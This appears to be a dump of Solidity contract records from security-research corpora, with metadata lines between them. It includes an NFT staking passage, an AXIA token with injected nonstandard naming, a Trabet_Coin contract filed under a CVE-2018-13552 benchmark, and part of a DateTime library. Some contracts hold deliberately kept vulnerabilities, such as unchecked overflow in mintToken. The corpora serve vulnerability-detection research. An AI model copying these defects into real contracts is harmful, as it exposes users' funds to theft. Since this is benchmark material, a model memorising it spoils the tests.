_moveTokenInTheListStake(stakedTokensByWallet[msg.sender][collection_], tokenId_); stakedTokensByWallet[msg.sender][collection_].pop(); } if (stakedTokensData[collection_][tokenId_].stakeType == stakeTypesVariables["treeHouse"]) { _exitStackStance(collection_, tokenId_); } delete stakedTokensData[collection_][tokenId_]; } function _exitStackStance(address collection_, uint256 tokenId_) internal { _moveTokenInTheListHouse(treeHousesEnrolments[stakedTokensData[collection_][tokenId_].houseTokenId][collection_], tokenId_); treeHousesEnrolments[stakedTokensData[collection_][tokenId_].houseTokenId][collection_].pop(); } function moveIntoDifferentStake(StakeSelection[] calldata selections_) external whenNotPaused { uint256 totalAccumulatedYield; for (uint256 i = 0; i < selections_.length; ++i) { totalAccumulatedYield += _exitStakeStanceMany(selections_[i].collectionAddress, selections_[i].tokens, false, false, true); IGameStats(contractsAddressesMap["gameStats"]).unsetStakedTokenData(selections_[i].collectionAddress, selections_[i].tokens); require(selections_[i].collectionAddress != contractsAddressesMap["tokenGenerator"]); require(selections_[i].collectionAddress != contractsAddressesMap["treeHouse"]); bool stack = selections_[i].stakeType == stakeTypesVariables["treeHouse"]; if (stack) { require(isOwner(msg.sender, contractsAddressesMap["treeHouse"], selections_[i].targetHouse)); require(selections_[i].tokens.length + _getHouseOccupancy(selections_[i].targetHouse) <= IGameStats(contractsAddressesMap["gameStats"]) .getLevel(contractsAddressesMap["treeHouse"], selections_[i].targetHouse)); } for (uint256 j = 0; j < selections_[i].tokens.length; ++j) { _enterStakeStance(selections_[i].collectionAddress, selections_[i].tokens[j], selections_[i].stakeType, true); if (stack) { _enterStackStance(selections_[i].collectionAddress, selections_[i].tokens[j], selections_[i].targetHouse); } } IGameStats(contractsAddressesMap["gameStats"]).setStakedTokenData(selections_[i].collectionAddress, msg.sender, selections_[i].stakeType, selections_[i].tokens); } IToken(contractsAddressesMap["token"]).add(msg.sender, totalAccumulatedYield); delete totalAccumulatedYield; } // TOKENS function _getYield(address collection_, uint256 tokenId_, uint256 tokenLevelBoost, bool updateClaimField) internal returns (uint256) { uint256 yield = collectionsSettings[collection_].baseYieldRate * (block.timestamp - stakedTokensData[collection_][tokenId_].claimDate) / 1 days; if (stakedTokensData[collection_][tokenId_].stakeType == stakeTypesVariables["training"]) { yield /= 2; } if (stakedTokensData[collection_][tokenId_].stakeType == stakeTypesVariables["battle"]) { yield += yield / 2; } if (collectionsSettings[collection_].hasLevel) { yield += yield * tokenLevelBoost / 100; } if (stakedTokensData[collection_][tokenId_].stakeType == stakeTypesVariables["treeHouse"]) { HouseEnrol[] storage houseEnrols = treeHousesEnrolments[stakedTokensData[collection_][tokenId_].houseTokenId][collection_]; uint256 foundIndex; uint256 i; for (; i < houseEnrols.length; ++i) { if (houseEnrols[i].tokenId == tokenId_) { foundIndex = i; break; } } require(i != houseEnrols.length, "NOT OWNED"); yield += (block.timestamp - houseEnrols[foundIndex].enrolDate) * collectionsSettings[collection_].baseYieldRate * treeHouseBoost / 100 days; if (updateClaimField) { houseEnrols[foundIndex].enrolDate = block.timestamp; } } if (stakedTokensData[collection_][tokenId_].stakeType != stakeTypesVariables["training"]) { if (!IGameStats(contractsAddressesMap["gameStats"]) .isClaimSuccessful(collection_, tokenId_, yield, stakedTokensData[collection_][tokenId_].stakeType)) { yield = 0; } } if (updateClaimField) { stakedTokensData[collection_][tokenId_].claimDate = block.timestamp; } return yield; } function claimYield(address collection_, uint256[] memory tokenIds_) external whenNotPaused returns (uint256) { uint256 amount; uint256[] memory levelBoosts; if(collectionsSettings[collection_].hasLevel) { levelBoosts = IGameStats(contractsAddressesMap["gameStats"]).getLevelBoosts(collection_, tokenIds_); } else { levelBoosts = new uint256[](tokenIds_.length); } for (uint256 i = 0; i < tokenIds_.length; ++i) { require(isOwner(msg.sender, collection_, tokenIds_[i])); amount += _getYield(collection_, tokenIds_[i], levelBoosts[i], true); } IToken(contractsAddressesMap["token"]).add(msg.sender, amount); delete levelBoosts; return amount; } function claimYieldForAll() external whenNotPaused { uint256 totalYield; for (uint256 i = 0; i < collections.length; ++i) { if (stakedTokensByWallet[msg.sender][collections[i]].length > 0) { uint256[] memory levelBoosts; if(collectionsSettings[collections[i]].hasLevel) { levelBoosts = IGameStats(contractsAddressesMap["gameStats"]).getLevelBoosts(collections[i], stakedTokensByWallet[msg.sender][collections[i]]); } else { levelBoosts = new uint256[](stakedTokensByWallet[msg.sender][collections[i]].length); } for (uint256 j = 0; j < stakedTokensByWallet[msg.sender][collections[i]].length; ++j) { totalYield += _getYield(collections[i], stakedTokensByWallet[msg.sender][collections[i]][j], levelBoosts[j], true); } } } IToken(contractsAddressesMap["token"]).add(msg.sender, totalYield); delete totalYield; } function calculateYieldSafe(address collection_, uint256[] memory tokenIds_) public view returns(uint256) { uint256 totalYield; for (uint256 i = 0; i < tokenIds_.length; ++i) { totalYield += _getYieldSafe(collection_, tokenIds_[i]); } return totalYield; } function calculateYieldForAll(address wallet_) external view returns(uint256) { uint256 totalYield; for (uint256 i = 0; i < collections.length; ++i) { if (stakedTokensByWallet[wallet_][collections[i]].length > 0) { totalYield += calculateYieldSafe(collections[i], stakedTokensByWallet[wallet_][collections[i]]); } } return totalYield; } function _getYieldSafe(address collection_, uint256 tokenId_) internal view returns (uint256) { uint256 yield = collectionsSettings[collection_].baseYieldRate * (block.timestamp - stakedTokensData[collection_][tokenId_].claimDate) / 1 days; if (stakedTokensData[collection_][tokenId_].stakeType == stakeTypesVariables["training"]) { yield = yield / 2; } if (collectionsSettings[collection_].hasLevel) { yield += yield * IGameStats(contractsAddressesMap["gameStats"]).getLevelBoost(collection_, tokenId_) / 100; } if (stakedTokensData[collection_][tokenId_].stakeType == stakeTypesVariables["treeHouse"]) { HouseEnrol[] storage houseEnrols = treeHousesEnrolments[stakedTokensData[collection_][tokenId_].houseTokenId][collection_]; uint256 foundIndex; uint256 i; for (; i < houseEnrols.length; ++i) { if (houseEnrols[i].tokenId == tokenId_) { foundIndex = i; break; } } require(i != houseEnrols.length, "NOT OWNED"); yield += (block.timestamp - houseEnrols[foundIndex].enrolDate) * collectionsSettings[collection_].baseYieldRate * treeHouseBoost / 100 days; } return yield; } function getStakedTokens(address wallet_, address collection_) external view returns (StakedTokens[] memory) { StakedTokens[] memory stakedTokens = new StakedTokens[](stakedTokensByWallet[wallet_][collection_].length); for (uint256 i = 0; i < stakedTokensByWallet[wallet_][collection_].length; ++i) { stakedTokens[i].tokenId = stakedTokensByWallet[wallet_][collection_][i]; stakedTokens[i].stakeType = stakedTokensData[collection_][stakedTokensByWallet[wallet_][collection_][i]].stakeType; stakedTokens[i].claimDate = stakedTokensData[collection_][stakedTokensByWallet[wallet_][collection_][i]].claimDate; stakedTokens[i].houseTokenId = stakedTokensData[collection_][stakedTokensByWallet[wallet_][collection_][i]].houseTokenId; } return stakedTokens; } }
231,456
12,131
bfe3a0f59714d1f8e09dfe7a2a7913ad0bde9e7521ac9c455ec097c3d743c8ef
22,752
.sol
Solidity
false
293466625
xf97/HuangGai
40a349be6102d5eb63893fb914659405ae162d93
injectedContractDataSet/nonStandarNaming/0x5456a07d6cc282a4a1b3443a3c170f7846d79bab_nonStandardNaming.sol
4,871
18,235
pragma solidity 0.6.4; library SafeMath { function ADD513(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function SUB333(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return SUB333(a, b, "SafeMath: subtraction overflow"); } function SUB333(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a, errorMessage); uint256 c = a - b; return c; } function MUL777(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function DIV708(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV708(a, b, "SafeMath: division by zero"); } function DIV708(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function MOD901(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return MOD901(a, b, "SafeMath: modulo by zero"); } function MOD901(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0, errorMessage); return a % b; } } //ERC20 Interface interface ERC20 { function TOTALSUPPLY540() external view returns (uint); //inject NONSTANDARD NAMING function BALANCEOF652(address account) external view returns (uint); //inject NONSTANDARD NAMING function TRANSFER970(address, uint) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE494(address owner, address spender) external view returns (uint); //inject NONSTANDARD NAMING function APPROVE631(address, uint) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM360(address, address, uint) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER615(address indexed from, address indexed to, uint value); //inject NONSTANDARD NAMING event APPROVAL679(address indexed owner, address indexed spender, uint value); //inject NONSTANDARD NAMING } interface ASP { function SCALEDTOKEN908(uint amount) external returns(bool); //inject NONSTANDARD NAMING function TOTALFROZEN651() external view returns (uint256); //inject NONSTANDARD NAMING } interface OSP { function SCALEDTOKEN908(uint amount) external returns(bool); //inject NONSTANDARD NAMING function TOTALFROZEN651() external view returns (uint256); //inject NONSTANDARD NAMING } interface DSP { function SCALEDTOKEN908(uint amount) external returns(bool); //inject NONSTANDARD NAMING function TOTALFROZEN651() external view returns (uint256); //inject NONSTANDARD NAMING } interface USP { function SCALEDTOKEN908(uint amount) external returns(bool); //inject NONSTANDARD NAMING function TOTALFROZEN651() external view returns (uint256); //inject NONSTANDARD NAMING } //======================================AXIA CONTRACT=========================================// contract AXIATOKEN is ERC20 { using SafeMath for uint256; //======================================AXIA EVENTS=========================================// event NEWEPOCH943(uint epoch, uint emission, uint nextepoch); //inject NONSTANDARD NAMING event NEWDAY620(uint epoch, uint day, uint nextday); //inject NONSTANDARD NAMING event BURNEVENT793(address indexed pool, address indexed burnaddress, uint amount); //inject NONSTANDARD NAMING event EMISSIONS445(address indexed root, address indexed pool, uint value); //inject NONSTANDARD NAMING event TRIGREWARDEVENT417(address indexed root, address indexed receiver, uint value); //inject NONSTANDARD NAMING event BASISPOINTADDED271(uint value); //inject NONSTANDARD NAMING // ERC-20 Parameters string public name; string public symbol; uint public decimals; uint public startdecimal; uint public override totalSupply; uint public initialsupply; //======================================STAKING POOLS=========================================// address public lonePool; address public swapPool; address public DefiPool; address public OraclePool; address public burningPool; uint public pool1Amount; uint public pool2Amount; uint public pool3Amount; uint public pool4Amount; uint public poolAmountTrig; uint public TrigAmount; // ERC-20 Mappings mapping(address => uint) public override balanceOf; mapping(address => mapping(address => uint)) public override allowance; // Public Parameters uint crypto; uint startcrypto; uint public emission; uint public currentEpoch; uint public currentDay; uint public daysPerEpoch; uint public secondsPerDay; uint public genesis; uint public nextEpochTime; uint public nextDayTime; uint public amountToEmit; uint public BPE; uint public bpValue; uint public actualValue; uint public TrigReward; uint public burnAmount; address administrator; uint totalEmitted; uint256 public pool1percentage = 3500; uint256 public pool2percentage = 6500; uint256 public pool3percentage = 0; uint256 public pool4percentage = 0; uint256 public trigRewardpercentage = 20; address public messagesender; // Public Mappings mapping(address=>bool) public Address_Whitelisted; mapping(address=>bool) public emission_Whitelisted; //=====================================CREATION=========================================// // Constructor constructor() public { name = "AXIA TOKEN (axiaprotocol.io)"; symbol = "AXIA-V2"; decimals = 18; startdecimal = 16; crypto = 1*10**decimals; startcrypto = 1*10**startdecimal; totalSupply = 3000000*crypto; initialsupply = 50203125*startcrypto; emission = 7200*crypto; currentEpoch = 1; currentDay = 1; genesis = now; daysPerEpoch = 180; secondsPerDay = 86400; administrator = msg.sender; balanceOf[administrator] = initialsupply; emit TRANSFER615(administrator, address(this), initialsupply); nextEpochTime = genesis + (secondsPerDay * daysPerEpoch); nextDayTime = genesis + secondsPerDay; Address_Whitelisted[administrator] = true; emission_Whitelisted[administrator] = true; } //========================================CONFIGURATIONS=========================================// function POOLCONFIGS254(address _axia, address _swap, address _defi, address _oracle) public ONLYADMINISTRATOR398 returns (bool success) { //inject NONSTANDARD NAMING lonePool = _axia; swapPool = _swap; DefiPool = _defi; OraclePool = _oracle; return true; } function BURNINGPOOLCONFIGS857(address _pooladdress) public ONLYADMINISTRATOR398 returns (bool success) { //inject NONSTANDARD NAMING burningPool = _pooladdress; return true; } modifier ONLYADMINISTRATOR398() { //inject NONSTANDARD NAMING require(msg.sender == administrator, "Ownable: caller is not the owner"); _; } modifier ONLYBURNINGPOOL846() { //inject NONSTANDARD NAMING require(msg.sender == burningPool, "Authorization: Only the pool that allows burn can call on this"); _; } function WHITELIST367(address _address) public ONLYADMINISTRATOR398 returns (bool success) { //inject NONSTANDARD NAMING Address_Whitelisted[_address] = true; return true; } function UNWHITELIST620(address _address) public ONLYADMINISTRATOR398 returns (bool success) { //inject NONSTANDARD NAMING Address_Whitelisted[_address] = false; return true; } function SECONDANDDAY486(uint _secondsperday, uint _daysperepoch) public ONLYADMINISTRATOR398 returns (bool success) { //inject NONSTANDARD NAMING secondsPerDay = _secondsperday; daysPerEpoch = _daysperepoch; return true; } function NEXTEPOCH634(uint _nextepoch) public ONLYADMINISTRATOR398 returns (bool success) { //inject NONSTANDARD NAMING nextEpochTime = _nextepoch; return true; } function WHITELISTONEMISSION926(address _address) public ONLYADMINISTRATOR398 returns (bool success) { //inject NONSTANDARD NAMING emission_Whitelisted[_address] = true; return true; } function UNWHITELISTONEMISSION923(address _address) public ONLYADMINISTRATOR398 returns (bool success) { //inject NONSTANDARD NAMING emission_Whitelisted[_address] = false; return true; } function SUPPLYEFFECT299(uint _amount) public ONLYBURNINGPOOL846 returns (bool success) { //inject NONSTANDARD NAMING totalSupply -= _amount; emit BURNEVENT793(burningPool, address(0x0), _amount); return true; } function POOLPERCENTAGES32(uint _p1, uint _p2, uint _p3, uint _p4, uint trigRe) public ONLYADMINISTRATOR398 returns (bool success) { //inject NONSTANDARD NAMING pool1percentage = _p1; pool2percentage = _p2; pool3percentage = _p3; pool4percentage = _p4; trigRewardpercentage = trigRe; return true; } function BURN409(uint _amount) public returns (bool success) { //inject NONSTANDARD NAMING require(balanceOf[msg.sender] >= _amount, "You do not have the amount of tokens you wanna burn in your wallet"); balanceOf[msg.sender] -= _amount; totalSupply -= _amount; emit BURNEVENT793(msg.sender, address(0x0), _amount); return true; } //========================================ERC20=========================================// // ERC20 Transfer function function TRANSFER970(address to, uint value) public override returns (bool success) { //inject NONSTANDARD NAMING _TRANSFER893(msg.sender, to, value); return true; } // ERC20 Approve function function APPROVE631(address spender, uint value) public override returns (bool success) { //inject NONSTANDARD NAMING allowance[msg.sender][spender] = value; emit APPROVAL679(msg.sender, spender, value); return true; } // ERC20 TransferFrom function function TRANSFERFROM360(address from, address to, uint value) public override returns (bool success) { //inject NONSTANDARD NAMING require(value <= allowance[from][msg.sender], 'Must not send more than allowance'); allowance[from][msg.sender] -= value; _TRANSFER893(from, to, value); return true; } // Internal transfer function which includes the Fee function _TRANSFER893(address _from, address _to, uint _value) private { //inject NONSTANDARD NAMING messagesender = msg.sender; //this is the person actually making the call on this function require(balanceOf[_from] >= _value, 'Must not send more than balance'); require(balanceOf[_to] + _value >= balanceOf[_to], 'Balance overflow'); balanceOf[_from] -= _value; if(Address_Whitelisted[msg.sender]){ //if the person making the transaction is whitelisted, the no burn on the transaction actualValue = _value; }else{ bpValue = MULDIV437(_value, 15, 10000); //this is 0.15% for basis point actualValue = _value - bpValue; //this is the amount to be sent balanceOf[address(this)] += bpValue; //this is adding the basis point charged to this contract emit TRANSFER615(_from, address(this), bpValue); BPE += bpValue; //this is increasing the virtual basis point amount emit BASISPOINTADDED271(bpValue); } if(emission_Whitelisted[messagesender] == false){ //this is so that staking and unstaking will not trigger the emission if(now >= nextDayTime){ amountToEmit = EMITTINGAMOUNT277(); pool1Amount = MULDIV437(amountToEmit, pool1percentage, 10000); pool2Amount = MULDIV437(amountToEmit, pool2percentage, 10000); pool3Amount = MULDIV437(amountToEmit, pool3percentage, 10000); pool4Amount = MULDIV437(amountToEmit, pool4percentage, 10000); poolAmountTrig = MULDIV437(amountToEmit, trigRewardpercentage, 10000); TrigAmount = poolAmountTrig.DIV708(2); pool1Amount = pool1Amount.SUB333(TrigAmount); pool2Amount = pool2Amount.SUB333(TrigAmount); TrigReward = poolAmountTrig; uint Ofrozenamount = OSPFROZEN518(); uint Dfrozenamount = DSPFROZEN371(); uint Ufrozenamount = USPFROZEN964(); uint Afrozenamount = ASPFROZEN926(); if(Ofrozenamount > 0){ OSP(OraclePool).SCALEDTOKEN908(pool4Amount); balanceOf[OraclePool] += pool4Amount; emit TRANSFER615(address(this), OraclePool, pool4Amount); }else{ balanceOf[address(this)] += pool4Amount; emit TRANSFER615(address(this), address(this), pool4Amount); BPE += pool4Amount; } if(Dfrozenamount > 0){ DSP(DefiPool).SCALEDTOKEN908(pool3Amount); balanceOf[DefiPool] += pool3Amount; emit TRANSFER615(address(this), DefiPool, pool3Amount); }else{ balanceOf[address(this)] += pool3Amount; emit TRANSFER615(address(this), address(this), pool3Amount); BPE += pool3Amount; } if(Ufrozenamount > 0){ USP(swapPool).SCALEDTOKEN908(pool2Amount); balanceOf[swapPool] += pool2Amount; emit TRANSFER615(address(this), swapPool, pool2Amount); }else{ balanceOf[address(this)] += pool2Amount; emit TRANSFER615(address(this), address(this), pool2Amount); BPE += pool2Amount; } if(Afrozenamount > 0){ ASP(lonePool).SCALEDTOKEN908(pool1Amount); balanceOf[lonePool] += pool1Amount; emit TRANSFER615(address(this), lonePool, pool1Amount); }else{ balanceOf[address(this)] += pool1Amount; emit TRANSFER615(address(this), address(this), pool1Amount); BPE += pool1Amount; } nextDayTime += secondsPerDay; currentDay += 1; emit NEWDAY620(currentEpoch, currentDay, nextDayTime); //reward the wallet that triggered the EMISSION balanceOf[_from] += TrigReward; //this is rewardig the person that triggered the emission emit TRANSFER615(address(this), _from, TrigReward); emit TRIGREWARDEVENT417(address(this), msg.sender, TrigReward); } } balanceOf[_to] += actualValue; emit TRANSFER615(_from, _to, actualValue); } //======================================EMISSION========================================// // Internal - Update emission function function EMITTINGAMOUNT277() internal returns(uint){ //inject NONSTANDARD NAMING if(now >= nextEpochTime){ currentEpoch += 1; //if it is greater than the nextEpochTime, then it means we have entered the new epoch, //thats why we are adding 1 to it, meaning new epoch emission if(currentEpoch > 10){ emission = BPE; BPE -= emission.DIV708(2); balanceOf[address(this)] -= emission.DIV708(2); } emission = emission/2; nextEpochTime += (secondsPerDay * daysPerEpoch); emit NEWEPOCH943(currentEpoch, emission, nextEpochTime); } return emission; } function OSPFROZEN518() public view returns(uint){ //inject NONSTANDARD NAMING return OSP(OraclePool).TOTALFROZEN651(); } function DSPFROZEN371() public view returns(uint){ //inject NONSTANDARD NAMING return DSP(DefiPool).TOTALFROZEN651(); } function USPFROZEN964() public view returns(uint){ //inject NONSTANDARD NAMING return USP(swapPool).TOTALFROZEN651(); } function ASPFROZEN926() public view returns(uint){ //inject NONSTANDARD NAMING return ASP(lonePool).TOTALFROZEN651(); } function MULDIV437 (uint x, uint y, uint z) public pure returns (uint) { //inject NONSTANDARD NAMING (uint l, uint h) = FULLMUL882 (x, y); assert (h < z); uint mm = mulmod (x, y, z); if (mm > l) h -= 1; l -= mm; uint pow2 = z & -z; z /= pow2; l /= pow2; l += h * ((-pow2) / pow2 + 1); uint r = 1; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; return l * r; } function FULLMUL882 (uint x, uint y) private pure returns (uint l, uint h) { //inject NONSTANDARD NAMING uint mm = mulmod (x, y, uint (-1)); l = x * y; h = mm - l; if (mm < l) h -= 1; } }
278,878
12,132
4bc89cd7d8837d94cdb4440f12522932fd93f14f5dde0972e9405db9132ebdbe
11,579
.sol
Solidity
false
210798529
kupl/VeriSmart-benchmarks
8cbb2db1805774b4844a4599f22242113270b252
benchmarks/cve/2018-13552.sol
2,400
9,713
pragma solidity ^0.4.16; contract owned { address public owner; constructor () public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract Trabet_Coin is owned { // Public variables of the token string public name = "Trabet Coin"; string public symbol = "TC"; uint8 public decimals = 4; uint256 public totalSupply = 7000000 * 10 ** uint256(decimals); bool public released = false; /// contract that is allowed to create new tokens and allows unlift the transfer limits on this token address public crowdsaleAgent; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); event FrozenFunds(address target, bool frozen); constructor () public { balanceOf[owner] = totalSupply; } modifier canTransfer() { require(released); _; } modifier onlyCrowdsaleAgent() { require(msg.sender == crowdsaleAgent); _; } function releaseToken() public onlyOwner { released = true; } function _transfer(address _from, address _to, uint _value) canTransfer internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Check if sender is frozen require(!frozenAccount[_from]); // Check if recipient is frozen require(!frozenAccount[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) canTransfer public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyCrowdsaleAgent public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; emit Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /// @dev Set the contract that can call release and make the token transferable. /// @param _crowdsaleAgent crowdsale contract address function setCrowdsaleAgent(address _crowdsaleAgent) onlyOwner public { crowdsaleAgent = _crowdsaleAgent; } } contract Killable is owned { function kill() onlyOwner public { selfdestruct(owner); } } contract Trabet_Coin_PreICO is owned, Killable { /// The token we are selling Trabet_Coin public token; ///fund goes to address public beneficiary; /// the UNIX timestamp start date of the crowdsale uint public startsAt = 1521748800; /// the UNIX timestamp end date of the crowdsale uint public endsAt = 1532563200; /// the price of token uint256 public TokenPerETH = 1065; /// Has this crowdsale been finalized bool public finalized = false; /// the number of tokens already sold through this contract uint public tokensSold = 0; /// the number of ETH raised through this contract uint public weiRaised = 0; /// How many distinct addresses have invested uint public investorCount = 0; /// How much wei we have given back to investors. uint public weiRefunded = 0; /// Has this crowdsale reFunding bool public reFunding = false; /// How much ETH each address has invested to this crowdsale mapping (address => uint256) public investedAmountOf; /// A new investment was made event Invested(address investor, uint weiAmount, uint tokenAmount); /// Crowdsale Start time has been changed event StartsAtChanged(uint startsAt); /// Crowdsale end time has been changed event EndsAtChanged(uint endsAt); /// Calculated new price event RateChanged(uint oldValue, uint newValue); /// Refund was processed for a contributor event Refund(address investor, uint weiAmount); constructor (address _token, address _beneficiary) public { token = Trabet_Coin(_token); beneficiary = _beneficiary; } function investInternal(address receiver, address refer) private { require(!finalized); require(startsAt <= now && endsAt > now); require(msg.value >= 100000000000000); if(investedAmountOf[receiver] == 0) { // A new investor investorCount++; } // Update investor uint tokensAmount = msg.value * TokenPerETH / 100000000000000; investedAmountOf[receiver] += msg.value; // Update totals tokensSold += tokensAmount; weiRaised += msg.value; // Tell us invest was success emit Invested(receiver, msg.value, tokensAmount); token.mintToken(receiver, tokensAmount); if (refer != 0x0) { refer.transfer(msg.value/10); } // Transfer Fund to owner's address beneficiary.transfer(address(this).balance); } function buy(address refer) public payable { investInternal(msg.sender, refer); } function () public payable { investInternal(msg.sender, 0x0); } function payforRefund () public payable { } function setStartsAt(uint time) onlyOwner public { require(!finalized); startsAt = time; emit StartsAtChanged(startsAt); } function setEndsAt(uint time) onlyOwner public { require(!finalized); endsAt = time; emit EndsAtChanged(endsAt); } function setRate(uint value) onlyOwner public { require(!finalized); require(value > 0); emit RateChanged(TokenPerETH, value); TokenPerETH = value; } function finalize() public onlyOwner { // Finalized Pre ICO crowdsele. finalized = true; } function EnableRefund() public onlyOwner { // Finalized Pre ICO crowdsele. reFunding = true; } function setBeneficiary(address _beneficiary) public onlyOwner { // Finalized Pre ICO crowdsele. beneficiary = _beneficiary; } /// @dev Investors can claim refund. function refund() public { require(reFunding); uint256 weiValue = investedAmountOf[msg.sender]; investedAmountOf[msg.sender] = 0; weiRefunded = weiRefunded + weiValue; emit Refund(msg.sender, weiValue); msg.sender.transfer(weiValue); } }
175,002
12,133
5c7d31342fb9b0f65ed6e6b976668538c64dff26aff5e4696a21bb566bc89586
14,776
.sol
Solidity
false
316275714
giacomofi/Neural_Smart_Ponzi_Recognition
a26fb280753005b9b9fc262786d5ce502b3f8cd3
Not_Smart_Ponzi_Source_Code/0x2032ed3da425fa8430ddb1a793840d8bbc587e9f.sol
3,640
12,605
pragma solidity 0.5.8; interface DateTimeAPI { function getYear(uint timestamp) external pure returns (uint16); function getMonth(uint timestamp) external pure returns (uint8); function getDay(uint timestamp) external pure returns (uint8); function getHour(uint timestamp) external pure returns (uint8); function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour) external pure returns (uint); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, "Called by unknown account"); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract DateTime { struct _DateTime { uint16 year; uint8 month; uint8 day; uint8 hour; uint8 minute; uint8 second; uint8 weekday; } uint constant DAY_IN_SECONDS = 86400; uint constant YEAR_IN_SECONDS = 31536000; uint constant LEAP_YEAR_IN_SECONDS = 31622400; uint constant HOUR_IN_SECONDS = 3600; uint constant MINUTE_IN_SECONDS = 60; uint16 constant ORIGIN_YEAR = 1970; function isLeapYear(uint16 year) public pure returns (bool) { if (year % 4 != 0) { return false; } if (year % 100 != 0) { return true; } if (year % 400 != 0) { return false; } return true; } function leapYearsBefore(uint year) public pure returns (uint) { year -= 1; return year / 4 - year / 100 + year / 400; } function getDaysInMonth(uint8 month, uint16 year) public pure returns (uint8) { if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) { return 31; } else if (month == 4 || month == 6 || month == 9 || month == 11) { return 30; } else if (isLeapYear(year)) { return 29; } else { return 28; } } function parseTimestamp(uint timestamp) internal pure returns (_DateTime memory dt) { uint secondsAccountedFor = 0; uint buf; uint8 i; // Year dt.year = getYear(timestamp); buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR); secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf; secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf); // Month uint secondsInMonth; for (i = 1; i <= 12; i++) { secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year); if (secondsInMonth + secondsAccountedFor > timestamp) { dt.month = i; break; } secondsAccountedFor += secondsInMonth; } // Day for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) { if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) { dt.day = i; break; } secondsAccountedFor += DAY_IN_SECONDS; } // Hour dt.hour = getHour(timestamp); // Minute dt.minute = getMinute(timestamp); // Second dt.second = getSecond(timestamp); // Day of week. dt.weekday = getWeekday(timestamp); } function getYear(uint timestamp) public pure returns (uint16) { uint secondsAccountedFor = 0; uint16 year; uint numLeapYears; // Year year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS); numLeapYears = leapYearsBefore(year) - 